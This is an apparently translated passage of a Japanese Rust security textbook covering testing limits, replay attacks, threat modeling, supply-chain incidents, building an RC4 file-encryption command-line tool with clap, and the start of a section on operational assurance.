RC4 ライブラリに、ランダム性を使用する補助テストを追加するとしましょう。 これは、ランダムなメッセージをランダムな鍵で暗号化した場合、後で 同じ鍵 で復号すると 元のメッセージ が得られることを検証します。

ADMIN_TOKEN は 11 文字の文字列です。 アルファベットを大文字と小文字の英字のみに制限した場合(数字/記号などはなし)、可能な 11 文字の文字列は 52^11 通りあります。 ランダムに ADMIN_TOKEN に当たる確率は、7 百京 分の 1 にすぎません。 実質的にゼロです。 そして、その探索空間は網羅的にテストするには大きすぎます。

これは、動的解析のアキレス腱を示しています。すなわち、単一の実行はプログラムの状態空間のごく小さなサンプルにすぎないということです。 関連するテストケースを書く先見性があれば、特定のバグの存在をテストすることはできますが、バグが存在しないことを証明することは決してできません。 バックドアについても同様です。

実用的なバックドアと回避

私たちのバックドアは静的に検出できる可能性があります。 特定の定数との比較に基づいて分岐し、指定されたパラメーターを上書きしています。 このパターンまたは類似したものに対する「シグネチャ」を生成することは可能です。ソースコードにアクセスできない場合でさえ可能です。

パッキング難読化(手作業でも自動でも、コードの解析を難しくする技術)によって補うことはできますが、それは裏目に出て、バックドア化されたプログラムをさらに疑わしく見せてしまう可能性があります。

この本は攻撃に焦点を当てているわけではありませんが、有効な防御者であるためには、回避戦術について一般的に認識しておくべきです。 暗号コードの場合、それは数学的な保証に悪影響を与えるような微妙な方法で アルゴリズム を破壊することを意味します11。 上の例のように if 文を挿入することではありません(これは復号の場合すら扱っていません)。

実世界のシステムにおける状況的文脈

暗号化だけでは、完全性(データが変更または破損していないこと)や 真正性(データが信頼できる送信元から来たこと)は保証されません。 そして繰り返しますが、RC4 暗号はもはや安全とは見なされていません。

実世界で使用する場合、私たちはおそらく Associated Data 付き認証暗号(AEAD)12をサポートする暗号を求めるでしょう。 機密性を保護しながら、完全性と真正性の両方を検証するためです。 コミュニティの取り組みである RustCrypto 組織は、AEAD 互換の暗号(ストリーム暗号とブロック暗号の両方)を提供する、オープンソースかつ pure-Rust のクレート一覧13を保守しています。

RC4 がかつて SSL/TLS や WEP のような主要プロトコルの一部だったことを覚えていますか? プロトコル設計においては、AEAD 暗号でさえ、すべてのセキュリティ要件を満たすには不十分です。 ネットワーク攻撃者が次のことを行うと想像してください。

  1. 正当なブロードキャストパケットを待ち受ける。

  2. 受信した各パケットのコピーを保存する。

  3. 保存したパケットを、場合によっては後で、元の宛先へ再送信する。

その再送信は リプレイ攻撃 と呼ばれます。 攻撃者はパケットを復号、変更、または偽造することは一切ありません。AEAD はまったく侵害されません。 それでも、その結果は壊滅的になり得ます。

  • 攻撃者が激しく再送信するとします。 宛先サーバーはパケット量に圧倒される可能性があります。 攻撃者のコピーの処理に追われていると、正当なユーザーへの応答期限を逃すかもしれません。つまり、サービス劣化、さらには サービス拒否(DoS) に見舞われることになります。

    • 防御例: クライアントごとのレート制限。
  • 攻撃者が 1 回だけ再送信するとします。しかし、そのメッセージは入金を確認し、ユーザーの口座残高を増やすためのものでした。 攻撃者は単に自分のお金を倍にしただけかもしれません。

    • 防御例: 暗号化されたペイロード内の信頼できるタイムスタンプ、最後のコミットより新しいスタンプを持つトランザクションのみをコミットする(そして起こり得るラップアラウンドを処理する)。

暗号技術は、実世界のプロトコルやシステムのセキュリティにおける要因の 1 つにすぎません。 暗号化アルゴリズムが扱うのは、全体的な脅威モデルのうち 1 つの [中核的な] 部分だけです。

全体像: 脅威モデリング

このセクションでは、個々のコードブロックを超えたシステム設計の文脈である「全体像」の視点に何度か触れてきました。 高水準のセキュリティ設計レビューには、脅威モデリング14と呼ばれるプロセスが関わります。 一般に、ワークフローは次のようなものです。

  1. システム内の資産(価値のあるデータまたはリソース)を特定する。

  2. 各資産の攻撃対象領域を確認し、対応する脅威を列挙する。信頼できない入力の発生源を探すことは、よい出発点になり得る。

  3. 脅威を順位付けする。優先順位を付ける一般的な方法の 1 つは、risk = likelihood * severity である。

  4. 順位付けされた脅威に比例した管理策と緩和策を実装する。

  5. 緩和策と管理策の有効性をテストする。

脅威モデリングは、アーキテクチャ設計時(コードが書かれる前)のように、プロダクトのライフサイクルの早い段階で行うと最も価値が高い。 問題を早期に発見して修正できればできるほど、修正は安く簡単になる(別名「シフトレフト」セキュリティ)。

脅威モデリングには複数の方法論が存在し、それらを扱う本も丸ごと存在する。 完全な方法論というよりは分類体系に近いが、STRIDE は人気があり、長く使われ続けているアプローチの 1 つである。 これは 2002 年に Microsoft に採用され、それ以降進化してきた。 この頭字語は次のように分解される15:

文字脅威脅威の定義侵害される性質
Sなりすまし誰か、または何かであるかのように装うこと認証
T改ざんデータの不正な変更または削除完全性
R否認自分が何かをしていないと主張すること否認防止
I情報漏えい機密情報を権限のない相手に露出させること機密性
Dサービス拒否サービス提供に必要なリソースを使い尽くすこと可用性
E権限昇格権限のない相手に操作の実行を許してしまうこと認可

STRIDE は意図的に高レベルなものになっている。 幅広いプロダクト、システム、サービスに適用できることを目指している。 したがって、一般的に望ましい性質に焦点が当てられている。

より粒度の細かい脅威列挙フレームワークは、現実的な脅威モデルの作成に役立つ。 MITRE ATT&CK は現代的な例であり、次のように自己説明している16:

…現実世界の観測に基づく、敵対者の戦術と技法に関する世界中からアクセス可能なナレッジベース。ATT&CK ナレッジベースは、民間部門、政府、サイバーセキュリティ製品およびサービスのコミュニティにおいて、具体的な脅威モデルと方法論を開発するための基盤として使用されている。

コード解析の限られた側面はツールで補える場合がある一方で(例: Rust コンパイラによるメモリ安全性の証明)、脅威モデリングを自動化するには汎用人工知能が必要になる。 言い換えると、これは早い段階で前もって人の作業時間を見積もっておくべきタスクである。

まとめ

型システムは強力ではあるが、ほとんどのバグの種類をモデル化できない。 Rust は、現実世界のセキュリティ問題の大部分を解決するわけではない。 コードレビューと脅威モデリングを意味する手動解析は必須である。

コンパイラの型チェックと手動レビューの間に位置するものとして、半自動的な検証の形態がある。それが動的解析である。 これは通常、コードのビルド後、同僚にレビューを依頼する前に実行される単体テストという形を取る。

これらのテストは信頼性を高める助けになり、深刻な問題を検出できることもあるが、バグやバックドアが存在しないことを証明することはできない。 現実世界のプログラム(上記の単純なバックドアではない)では、これはテストスイートが 100% のコードカバレッジを達成している場合でも当てはまる。つまり、プログラムのすべての分岐が少なくとも 1 回は実行されている場合でもそうである。

なぜか。複雑なアプリケーションの状態空間は、実行された分岐だけの関数ではなく、データ片の値にも依存するからである(他の要因もある)。 そして 11 文字の順列の例で見たように、ごく小さなデータ片であっても、取り得るすべての値を網羅的にテストすることはできない。

より一般的に言えば、あるプログラムが悪意あるものかどうかを、信頼性高く判定できる自動ツールは決して存在しない。 あるいは、良性のプログラムがセキュアであるかどうかについても同じである。 その判定を行うことは、証明可能な形で不可能である(Rice の定理17)。

私たちがセキュアだと考えるシステムは、一般に時の試練に耐えてきたものである。 よく研究されたプロトコルや、徹底的に監査されたオープンソースプロジェクトのようなものだ。 しかし、新しい脆弱性は常に起こり得る。

覚えておいてほしい。絶対的なセキュリティは存在しない。 存在するのは保証のレベルだけである。

この文脈をすべて踏まえたうえで、RC4 ライブラリに戻り、それを有用なことに活用しよう。コマンドラインインターフェイスを介してローカルファイルを暗号化するのである。

サプライチェーン攻撃は深刻な問題である

ソフトウェアサプライチェーン攻撃は、前述の SolarWinds 事件のような標的型スパイ活動だけに限定されるものではない。 サードパーティ依存関係に依存するあらゆるソフトウェアプロジェクトは、バックドアを仕込まれた、またはその他の悪意あるパッケージを潜在的な脅威ベクトルとして警戒すべきである。 最近の 2 つの例を考えてみよう:

  • 2022 年 4 月、人気のある npm パッケージ node-ipc の作者たちは、ロシアによるウクライナ侵攻に抗議するため、意図的にマルウェアを挿入した。この悪意あるコードは、IP ジオロケーションに基づいてロシアとベラルーシのホストを特定しようとし、位置が一致した場合にはディスク上のすべてのファイルの内容を置き換えようとした18(データ損失)。

  • 2022 年 5 月、rustdecimal という名前の悪意ある Rust クレートが報告された。この名前は、良性の rust_decimal クレートのユーザーを標的にした「タイポスクワッティング攻撃」である。特定の関数が呼び出されると、この悪意あるクレートは CI 関連の環境変数が設定されている場合に実行可能ペイロードをダウンロードする。このペイロードのロジックは不明であり、問題が発見された時点ではダウンロード URL は無効になっていた19

cargo-crev20cargo-supply-chain21 のようなツールは、Rust プロジェクトの依存関係とその作者情報の評価を支援できる。 しかし、すべてのサプライチェーン攻撃を防げる技術的管理策は存在しない。 成熟した組織は、依存関係の審査と保守のためのプロセスやポリシーを採用することで、リスクを緩和できる場合がある。


  1. Compositional Information Flow Monitoring for Reactive Programs. McKenna McCall, Abhishek Bichhawat, Limin Jia (2022). Information Flow Control (IFC) は、この論文の分野であり、機密情報の漏えいに対処する方法を探求している。形式的ではあるが、この研究が取り組む問題、すなわちタイトルにあるイベント駆動プログラムのサポートと異種コンポーネントの合成は、現実世界のシステムを代表するものである。情報漏えいは、最終的には体系的かつ原則に基づいた形で解決できる問題になるかもしれない。

  2. 「型状態」パターン(一般的なものであり、Rust 固有ではない)は多少役に立つ場合がある。また、「セッション型」22 はメッセージパッシングプロトコルに特に有用である。

  3. The Dirty Pipe Vulnerability. Max Kellerman (2022).

  4. HexType: Efficient Detection of Type Confusion Errors for C++. Yuseok Jeon, Priyam Biswas, Scott Carr, Byoungyoung Lee, and Mathias Payer (2017).

  5. Rust では、特定のプリミティブ型を as キーワードで変換できます。サイズの異なる整数がその一例です。ユーザー定義型間の変換には「トレイト」(共有される振る舞いのためのインターフェイスで、第3章で取り上げます)を使用します。具体的には From23Into24 です。これらは、型キャストのユースケースの大半を安全にカバーします。Rust プログラマーがビット列を任意に再解釈する必要が本当にある場合、unsafe 関数 std::mem::transmute25 が最後の手段です。

  6. 最も危険なソフトウェア脆弱性 CWE トップ25。The MITRE Corporation(2021)。 ↩2 ↩3

  7. Webアプリケーションセキュリティリスク トップ10。OWASP(2021)。

  8. 私たちのパンデミックの年—COVID-19タイムライン。Kathy Katella(2021)。

  9. SolarWinds ハックの解説: 知っておくべきすべて。Saheed Oladimeji、Sean Michael Kerner(2021)。

  10. ストリーム暗号 RC4 のテストベクトル。Internet Engineering Task Force(2011)。

  11. Diffie-Hellman にバックドアを仕込む方法。David Wong(2016)。

  12. 認証付き暗号。Wikipedia(2022年アクセス)。

  13. RustCrypto: 関連データ付き認証付き暗号(AEAD)アルゴリズム。RustCrypto organization(2022年アクセス)。

  14. 脅威モデリングチートシート。OWASP(2021)。

  15. 脅威モデリング: 利用可能な12の手法。CMU SEI(2018)。

  16. MITRE ATT&CK。MITRE(2022年アクセス)。

  17. ライスの定理。Wikipedia(2022年アクセス)。

  18. node-ipc に埋め込まれた悪意のあるコード。GitHub(2022)。

  19. セキュリティアドバイザリ: 悪意のあるクレート rustdecimal。The Rust Team(2022)。

  20. cargo-crevcargo-crev Contributors(2022年アクセス)。

  21. cargo-supply-chain。Rust Secure Code Working Group(2022年アクセス)。

  22. セッション型の入門。Wen Kokke(2020)。

  23. トレイト std::convert::From。The Rust Team(2022年アクセス)。

  24. トレイト std::convert::Into。The Rust Team(2022年アクセス)。

  25. 関数 std::mem::transmute。The Rust Team(2022年アクセス)。

DIY CLI 暗号化ツール

単体テストにより、私たちのライブラリが正しいことが示されました(少なくとも最初の、バックドアのないバージョンは)。 次はそれを使って、コマンドラインインターフェイス(CLI)の暗号化ユーティリティを構築します!

このツールは 2 つの引数、ファイル名と 16 進数の暗号化キーを受け取り、ディスク上のファイルを暗号化または復号します。

これらの要件は単純なので、Rust の標準ライブラリだけを使って CLI ツールを簡単に構築できます。

  • std::env モジュール1は、他の機能に加えて、OS に依存しない引数アクセス(正確にはパースではありません)を提供します。

  • std::fs モジュール2は、OS に依存しないファイルシステム入出力(例: ファイルの読み書き)を提供します。

厳密に std だけを使って進めるのもよい方法です。 純粋主義者である場合や、手引きなしで問題に取り組みたい場合は、以下のプログラムを標準ライブラリだけを使うように適応してみてもよいでしょう。 ただしここでは、Rust のサードパーティライブラリエコシステムを試してみます。

実世界のコマンドラインアプリケーションでは、さまざまなサードパーティライブラリが使われています。 Rust の CLI エコシステムは、プラグアンドプレイ(構築とリンクが容易)な引数パース3、テキストの色付け4、統合テスト5、テキストベースのユーザーインターフェイス(TUI)6などを提供しています。 コミュニティが保守する膨大なライブラリ群により、CLI アプリの構築と保守は楽しいものになります。

それでは、人気のあるライブラリを試してみましょう。引数パースには clap クレート3を使います。 clap は Rust のマクロシステムを使って宣言的な引数パースロジックを可能にします。これはまもなく確認します。

成長する Rust エコシステムを活用する

Rust の強力な特徴の 1 つは、公式パッケージマネージャー兼ビルドシステムである cargo です。 私たちはすでに cargo を使って RC4 ライブラリをコンパイルし、テストしました。 しかし cargo の真価は、より広範な Rust エコシステムのライブラリをいかに簡単に活用できるかにあります。

現代の開発において、プログラミング言語の実用性は、コア言語機能、誰かが開発・保守しているドメイン固有の抽象化がライブラリ(Rust では「クレート」と呼ばれます)の形で利用可能であることの両方によって決まります。

ソフトウェアエンジニアは、高品質なコードを素早く出荷する必要があります。 つまり、適切な場合には既存のコードを使ってプロダクトの立ち上げを加速するということです。 この記事の執筆時点で、Rust ライブラリの公式集中リポジトリである crates.io には 75,000 を超えるクレートがホストされています。

もちろん、すべてのクレートが十分に保守されているわけでも、本番品質であるわけでも、安全であるわけでもありません。 しかし、私たちには選択できる多くの選択肢があります。 そしてその数は、Rust エコシステムが成熟するにつれて増え続けるでしょう。

cargo は、clap の最新バージョンのダウンロードとビルドを処理してくれます。 私たちが行う必要があるのは、crypto_tool/rcli/Cargo.toml に 1 行追加することだけです。

[package]
name = "rcli"
version = "0.1.0"
edition = "2021"

# その他のキーとその定義については https://doc.rust-lang.org/cargo/reference/manifest.html を参照してください

[dependencies]
rc4 = { path = "../rc4" }
clap = { version = "^4", features = ["derive"] }
  • features = ["derive"] は、clap ライブラリのオプション機能である derive マクロのサポートを有効にします。これにより、いくらかのボイラープレートを省けます。

  • version = "^4" は、このツールが最新の clap バージョン >= 4.0.0 かつ < 5.0.0 を使うことを cargo に伝えます。Rust クレートはセマンティックバージョニング(semver、例: MAJOR.MINOR.PATCH7に従うため、4.x.x バージョンでは API の安定性を期待できます。

rc4 依存関係とは異なり、clap にはローカルの path を指定していないことに注目してください。 cargo は、私たちが rcli プロジェクトを初めてビルドまたは実行するときに、crates.io からソースコードをダウンロードします。

サードパーティコードは信頼できるのか?

ほとんどのソフトウェアはサードパーティコードを活用しています。 しかし、取り込む外部コンポーネントはそれぞれ、バグや脆弱性をシステムに持ち込むリスクがあります。 このため、成熟した組織では依存関係やサプライヤーを審査するプロセスが整備されています。

文脈によっては、サードパーティ依存関係のソースを監査し、すべてのビルドで監査済みのバージョンだけを使う方が安全です。 内部リポジトリやビルドシステムの設定は、個々の企業やチームに固有です。

特定の問題クラスでは、サードパーティコードが実際にはリスクを低減することに注意してください。 暗号技術は典型的な例です。同じアルゴリズムを自分たちで実装するより、成熟したライブラリを取り込む方が良い可能性が高いでしょう。

手動の引数パースは C ほど Rust では危険ではありませんが、それでも clap を使うことでエラーの可能性を減らせます。

clap による引数のパース

clap の最も便利な機能の 1 つは、構造体のフィールドにアノテーションを付けられることです。 それぞれのアノテーションは、機械的には Rust マクロであり、引数の表示とパースを処理するコードを生成します。

  • ユーザーが CLI ツールを呼び出すと、要求された設定/操作を含む単一の構造体(以下の Args)が得られます。

  • 引数パースの複雑な詳細を気にする代わりに、「ビジネスロジック」、つまり要求されたタスクを実行するために構造体のフィールドを処理することに労力を集中できます。

これがどのように機能するか見てみましょう。 以下を crypto_tool/rcli/src/main.rs に追加してください。

use clap::Parser;

/// RC4 file en/decryption
#[derive(Parser, Debug)]
struct Args {
    /// Name of file to en/decrypt
    #[arg(short, long, required = true, value_name = "FILE_NAME")]
    file: String,

    /// En/Decryption key (hexadecimal bytes)
    #[arg(
        short,
        long,
        required = true,
        value_name = "HEX_BYTE",
        num_args = 5..=256,
    )]
    key: Vec<String>,
}

fn main() {
    let args = Args::parse();
    println!("{:?}", args);
}
  • Args は 2 つのフィールドを持つ struct です。

    • file は、暗号化/復号されるファイルのパス/名前を含む文字列です。

    • key は、スペース区切りの個々の文字列の動的配列です。各文字列はキーの 16 進数バイトになります。

  • clap のフィールドアノテーション(#[something(...)] という形式のマクロ)のハイライト:

    • short - 短い引数名(例: file に対する -f)を生成します。

    • long - 長い引数名(例: file に対する --file)を生成します。

    • required = true - ツールを実行するには引数を提供しなければならないことを示します。

    • num_args = 5..=256 - RC4 の最小 5 バイト(40 ビット)および最大 256 バイト(2048 ビット)のキー長を強制します。

現在、2 行の main 関数は、ユーザー入力から収集した Args 構造体を出力するだけです。 フォーマット指定子 {:?} により、デフォルトフォーマッタを使用できます。ArgsDebug トレイトを derive しているため、これをサポートしています。 トレイトについては次の章で説明します。

clap がサポートするアノテーションについて知るにはどうすればよいですか?

Rustには、組み込みのドキュメントシステムである rustdoc8 があります。 すべての公開クレートには生成されたドキュメントが提供されていますが、その完全性はプロジェクトによって異なります。 clap のドキュメントは https://docs.rs/clap で閲覧できます。

作業中のCLIツールを現状のまま実行するには、コマンド cargo run -- --help を使用できます。

RC4 file en/decryption

Usage: rcli --file <FILE_NAME> --key <HEX_BYTE> <HEX_BYTE> <HEX_BYTE> <HEX_BYTE> <HEX_BYTE>...

Options:
  -f, --file <FILE_NAME>
          Name of file to en/decrypt
  -k, --key <HEX_BYTE> <HEX_BYTE> <HEX_BYTE> <HEX_BYTE> <HEX_BYTE>...
          En/Decryption key (hexadecimal bytes)
  -h, --help
          Print help

-- 区切り記号は、入力の残りをCLIツールに渡すよう cargo に指示します。 この場合、渡しているのはフラグ --help だけです。 便利なことに、clap はこのフラグを私たちのために実装してくれています。 これはCLIツールで一般的な慣習だからです。 Args 構造体の各フィールドに対するコメント(/// で始まる行)が、ヘルプ出力の説明として使用されていることに注目してください。

しかし、--helpmain 関数を実行しません。 ツールの通常の使用をシミュレートするために、cargo run -- --file test.txt --key 0x01 0x02 0x03 0x04 0x05 を試してみましょう。 最小の5バイトの鍵長を指定します。 main は次のように出力します。

Args { file: "test.txt", key: ["0x01", "0x02", "0x03", "0x04", "0x05"] }

引数の解析が動作するようになりました!

ファイルの暗号化/復号ロジックの実装

残っているのは、RC4ライブラリと新しいCLIフロントエンドをつなぐ「接着剤」だけです。 main を次のように更新しましょう(先頭に追加されたインポートに注目してください)。

use clap::Parser;
use rc4::Rc4;
use std::fs::File;
use std::io::prelude::{Read, Seek, Write};

// `Args` 構造体は省略、変更なし...

fn main() -> std::io::Result<()> {
    let args = Args::parse();
    let mut contents = Vec::new();

    // Convert key strings to byte array
    let key_bytes = args
        .key
        .iter()
        .map(|s| s.trim_start_matches("0x"))
        .map(|s| u8::from_str_radix(s, 16).expect("Invalid key hex byte!"))
        .collect::<Vec<u8>>();

    // Validation note:
    // `Args` enforces (5 <= key_bytes.len() && key_bytes.len() <= 256)

    // Open the file for both reading and writing
    let mut file = File::options().read(true).write(true).open(&args.file)?;

    // Read all file contents into memory
    file.read_to_end(&mut contents)?;

    // En/decrypt file contents in-memory
    Rc4::apply_keystream_static(&key_bytes, &mut contents);

    // Overwrite existing file with the result
    file.rewind()?; // "Seek" to start of file stream
    file.write_all(&contents)?;

    // Print success message
    println!("Processed {}", args.file);

    // Return success
    Ok(())
}

main に戻り値の型 std::io::Result<()>9 を追加しました。 Rustの Result 型については次の章で扱います。 ここで重要なのは、main の本体内にある、失敗する可能性のあるすべてのファイルI/O操作が ? 演算子で終わっている点です。 これは、操作が失敗した場合に関数を「短絡」させ、即座にエラーの Result を返すよう指示します。

たとえば、誰かがプログラムを実行し、存在しないファイルへのパスを指定したとします。

cargo run -- --file non_existant_file.txt --key 0x01 0x02 0x03 0x04 0x05

let mut file = File::open(args.file)?; の行は失敗し、次のエラーでプログラムを終了します。

Error: Os { code: 2, kind: NotFound, message: "No such file or directory" }

本番品質のツールでは、エラーを適切に処理したり、ログに記録したり、よりユーザーフレンドリーな出力でラップしたりできます。 エラーが発生しなかった場合は、成功を示すために Ok でラップした空の値(()、Rustのユニット型10)を返すだけです。

新しい main 関数には、説明する価値のある要素がさらにいくつかあります。

  • バッファリングなし: ファイル全体を一度にメモリへ読み込み、バイトベクタ contents に格納します。大きなファイルのサポートは、バッファリングと呼ばれる技法を使えばより効率的にできます。これは、一度に小さなチャンクだけを読み込み/暗号化する方法です。この例では、代わりに単純さを目指しています。

  • 任意のバイトプレフィックス: 鍵の変換ロジックでは、Rustの関数型スタイルのイテレータを使用しています。イテレータについては後で詳しく説明します。s.trim_start_matches("0x") により、ユーザーは各バイトにプレフィックス 0x任意で追加できることに注意してください。つまり、--key 01 02 03 04 05 も有効で同等の入力になります。

  • 入力検証: 自分で制御していない入力を解析するコードを書く場合、その入力は信頼できません。それは攻撃者に制御されている可能性があります。できるだけ早く、つまりプログラムやシステムの他のコンポーネントへ渡す前に検証してください。main では3段階の検証を使用しています。

    1. 有効な鍵長: 暗号化ライブラリが鍵長をチェックすると仮定する代わりに(私たちのRC4実装は実際にチェックします!)、Argkey フィールドにアノテーション(例: num_args = 5..=256)を使用しました。エラーを確認するには、cargo run -- -f anything.txt -k 01 を試してください。

    2. 有効な16進数の鍵バイト: .expect("Invalid key hex byte!") は、鍵入力にbase-16バイトの無効な文字列表現(例: "0xfg")を受け取った場合にプログラムが投げるエラーメッセージを決定します。

    3. 必要なファイル権限: std::fs はOSの機能を使用して、ユーザーが指定されたファイルを読み書きする権限を持っていることを確認します。権限がない場合、プログラムはエラーを投げます。これは先ほど見た Error: Os { code: 2, kind: NotFound... のケースと似ています。

検証に失敗した場合はどうすべきでしょうか?

それは運用コンテキストによって異なります。 できるだけ早い段階で、対処可能なエラーメッセージとともにCLIツールを終了することで、私たちは攻撃的プログラミングを実践しています。

  • 私たちは、早期に失敗することが効果的な最初の防御線であると考えます。特定のエラーを決して許容しないことには利点があると考えています。

ファイル暗号化ロジックがネットワークサービスやプロトコルの一部であった場合、おそらく可用性、つまりシステムをオンラインで到達可能な状態に保つことを優先するでしょう。 防御的プログラミングのほうが適切です。

  • エンドユーザーへの影響を最小限に抑えて障害から回復します。

それは、エラー(ステータスコードやプロトコルメッセージを通じて)を返し、すぐに新しいファイル暗号化リクエストの待ち受けに戻ることを意味するかもしれません。 終了する代わりにです。

ツールの使用

まず、このツールを他のコマンドラインユーティリティと同じように使えるようにインストールしましょう。 crypto_tool/rcli ディレクトリから、次を実行します。

cargo install --path .

これで rcli --help を実行できるはずです。 実際にコンパイルされたバイナリがどこにあるかを知りたい場合は、which rcli を実行してください。

ツールを試すために、秘密のメッセージを含むテキストファイルを作成します。

echo "This is a secret, don't tell anyone!" > secret.txt

cat を使って内容を確認できます。

$ cat secret.txt
This is a secret, don't tell anyone!

暗号化後は内容を表示できなくなります。 そのため、今のうちに xxd で見ておきましょう。

$ xxd -g 1 secret.txt
00000000: 54 68 69 73 20 69 73 20 61 20 73 65 63 72 65 74  This is a secret
00000010: 2c 20 64 6f 6e 27 74 20 74 65 6c 6c 20 61 6e 79  , don't tell any
00000020: 6f 6e 65 21 0a                                   one!.

xxd は3つの列を表示しました。

  1. 左: ファイル内の16進数オフセット。
  2. 中央: 16進バイトの列として表したファイルの生の内容。
  3. 右: 生バイトのASCII11デコード(私たちの秘密のメッセージ)。

-g 1 フラグは、その中央の列で各バイトを独立して表示します。

ファイルを暗号化しましょう。

rcli -f secret.txt -k 01 02 03 04 05

出力 Processed secret.txt が表示されるはずです。 もう一度 xxd -g 1 secret.txt を実行すると、次のようになります。

00000000: e6 51 0a 76 d0 54 b3 07 ad e3 21 2f 69 63 7d dc  .Q.v.T....!/ic}.
00000010: 45 a2 f0 20 76 db f6 f5 fd a1 6f c8 5a 6c 67 60  E.. v.....o.Zlg`
00000020: d9 e1 1d e3 87                                   .....

ファイルが暗号化されたため、バイト列が変わりました。 一番右の列は、もはや意味のあるASCII文字列には見えません。 もう一度 rcli を実行して、ファイルを復号し、元のメッセージを取り出せることを確認してください。

このツールは、ファイルを処理するときに「暗号化中」または「復号中」と表示できるでしょうか?

これまで見てきたように、暗号化と復号は実際には同じ操作です。 どちらの場合も、キーストリームとのXORを取っています。 データを隠したのか、それとも明らかにしたのかを示すユーザーフレンドリーなメッセージを表示するには、ファイルの開始時の状態を知る必要があります。

それは簡単な作業ではないことがわかります! 任意のバイト列が暗号化されたファイルであるかどうかを判断するには、「セマンティックギャップ」を埋める必要があります。 それが、この章の課題の一部です。

主要チェックポイント

私たちは、移植性があり、メモリ安全なRC4ライブラリを作成し、公式テストベクターに照らして検証しました。 これは、ベアメタルの組み込みシステムでさえ、どこでも使用できます。

次に、clap クレートとRustの標準ライブラリを活用して、シンプルなRC4 CLIツールを構築しました。 このツールは、主要なOSならどれでもコンパイルできます。

すべてわずか171行のコードです。 すべてのテストを含め、暗号をゼロから実装しています。 そして、そのコードはネイティブにコンパイルされます。rcli は非常に高速です。 初めてのRustプログラムとしては悪くありません。

少し時間を取って、そのことを実感してください。 あなたはすでにかなり遠くまで来ています。 準備ができたら、この章を最後のトピック、運用上の保証で締めくくりましょう。


  1. モジュール std::env. The Rust Team(2022年アクセス)。

  2. モジュール std::fs. The Rust Team(2022年アクセス)。

  3. クレート clap. clap-rs Project(2022年アクセス)。 ↩2

  4. クレート owo-colors. jam1garner(2022年アクセス)。

  5. クレート assert_cmd. Ed Page(2022年アクセス)。

  6. クレート tui. Florian Dehau(2022年アクセス)。

  7. セマンティック バージョニング 2.0.0. Tom Preston-Werner(2022年アクセス)。

  8. rustdocとは?.

  9. 型定義 std::io::Result. The Rust Team(2022年アクセス)。

  10. プリミティブ型 unit. The Rust Team(2022年アクセス)。

  11. ASCII. Wikipedia(2022年アクセス)。

運用保証(2部構成の1)

ソフトウェア工学を土木工学と不利に比較することは、一種の決まり文句になっています。 よく投げかけられる挑発は、次のようなものです。

正しい橋、つまり私たちが渡るときに足元で崩れ落ちない橋を確実に建設できるのに、なぜ正しいデスクトップアプリケーション、つまりクラッシュせず、セキュリティホールも含まないアプリケーションを確実に書けないのでしょうか?

その含意は、土木技術者は厳格な基準を継続的に満たしている一方で、ソフトウェア技術者は同じ熟練度に到達できていない、というものです。 この論法は表面的には説得力があるように見えます。 私たちは皆、バグのあるソフトウェアを使ったことがありますが、橋が崩落するのを実際に見たことがある人はほとんどいません1

心配はいりません。私たちソフトウェア側の人間も、まだ面目を保てます。 この議論には少なくとも2つの欠陥があります。

  • 悪意のある行為者を無視しています。 ソフトウェアは容赦ない攻撃にさらされており、その攻撃者は熟練した敵対者である可能性があります。デバイスの脱獄を試みるパワーユーザーであれ、マルウェアキャンペーンを収益化しようとするサイバー犯罪者であれ同じです。これらの敵対者に耐えることは、ネットワーク接続されたあらゆるシステムにとって基本的な設計要件です。一方で橋は、設計上、解体作業員や放火犯に耐性を持つ必要はありません。

  • 誤った同等性に依存しています。 静的解析における「状態爆発」への言及を思い出してください。ソフトウェアには固有の組合せ的複雑性があります。さらに、ソフトウェアライブラリやフレームワークは、建設資材や建築技術よりもはるかに速いペースで変化します。橋には年単位で測られる期間にわたる保守が必要ですが、ソフトウェアシステムは2週間のスプリントで新機能を追加できます。この動的な複雑性は、セキュリティと信頼性のリスクをいっそう高めるだけです。

ここまで、この章ではソフトウェア保証を非常に頑丈な橋を建設することのように扱ってきました。 メモリ安全性と一般的な正しさについて論じた以外には、現実世界で悪意のある行為者と戦うために実際に何が必要なのか(上記の1つ目の欠陥に相当)には触れていません。 また、セキュリティが静止した標的であることも暗黙のうちに仮定してきました(上記の2つ目の欠陥に相当)。

より大きな視点

静的解析と動的テストは、純粋に予防的な手段です。 実際には、ほとんどのソフトウェアには、継続的な現場でのセキュリティサポートが必要です。 Rustの厳格なコンパイラを満足させること、手動レビューを受けること、網羅的な動的テストスイートに合格すること――これらはすべて、高保証製品を出荷するための前提条件にすぎません。

本番環境で稼働し始めたら、それらの製品はライフサイクル全体にわたってサポートされる必要があります。 運用保証が主題になります。 私たちは、絶えず変化する環境の中で悪意のある行為者に対応できなければなりません。

OPSECについて話しているのですか?

**運用セキュリティ(OPSEC)**は、もともとベトナム戦争時代の軍事用語でした2。 現代のIT用語では、機密情報が敵対者に漏れることを防ぐ手段を広く指します。 例としてパスワード管理を考えてみましょう。

  • 同じ覚えやすいパスワードを複数のサイトで再利用しますか?

    • それは悪いOPSECです。本来は分離されているシステムに有効な認証情報を漏らしていることになります。

    • いずれか1つのサイトがパスワード保存のベストプラクティス(ソルト付きハッシュ3など)を使用しておらず侵害された場合、攻撃者はあなたのパスワードを再利用して、あなたの複数のアカウントを乗っ取る可能性があります(メールアドレス/ユーザー名を再利用していると仮定)。

  • 各Webサイトで、一意で長く、ランダムに生成されたパスワードを使用しますか?

    • それは良いOPSECです。認証情報を漏らしていません。

    • 単一サイトの侵害は、他のアカウントのセキュリティには影響しません。

運用保証はより広い概念であり、機密データの機密性を超えた目標を持ちます。 OPSECは運用保証のサブセットと考えることができます。 前の例に戻りましょう。

  • ランダムで一意なパスワードを使用することに加えて、常に多要素認証(MFA)を有効にし、ログをレビューしますか?

    • それは良い運用保証です。認証を強化し、定期的に過去の監査を実施し、機密性を保護しています。

    • 過去のデータに、奇妙な地理的位置のIPからのログイン試行が現れていることに気づいた場合、それは侵害の試みを示している可能性があります。

運用保証の分解

運用上の施策は、「構造化ロギング」4から「リモートアテステーション」5まで幅広く及びます。 ツールや技術の広がり全体を捉えるのは難しいため、ここでは3つの大きなカテゴリに分け、網羅的ではない例を示します。

システムライフサイクル

製品やサービスを最新の状態に保つためのプロセスとツールです。 比較的新しい「DevSecOps」6という包括的概念に含まれます。 例は次のとおりです。

  • 継続的インテグレーション/継続的デプロイメント(CI/CD)におけるセキュリティスキャン
  • 暗号化され、認証された無線経由のファームウェアアップデート
  • バージョン管理され、フォールトトレラントな分散インフラストラクチャ(例:コンテナ化されたマイクロサービス)
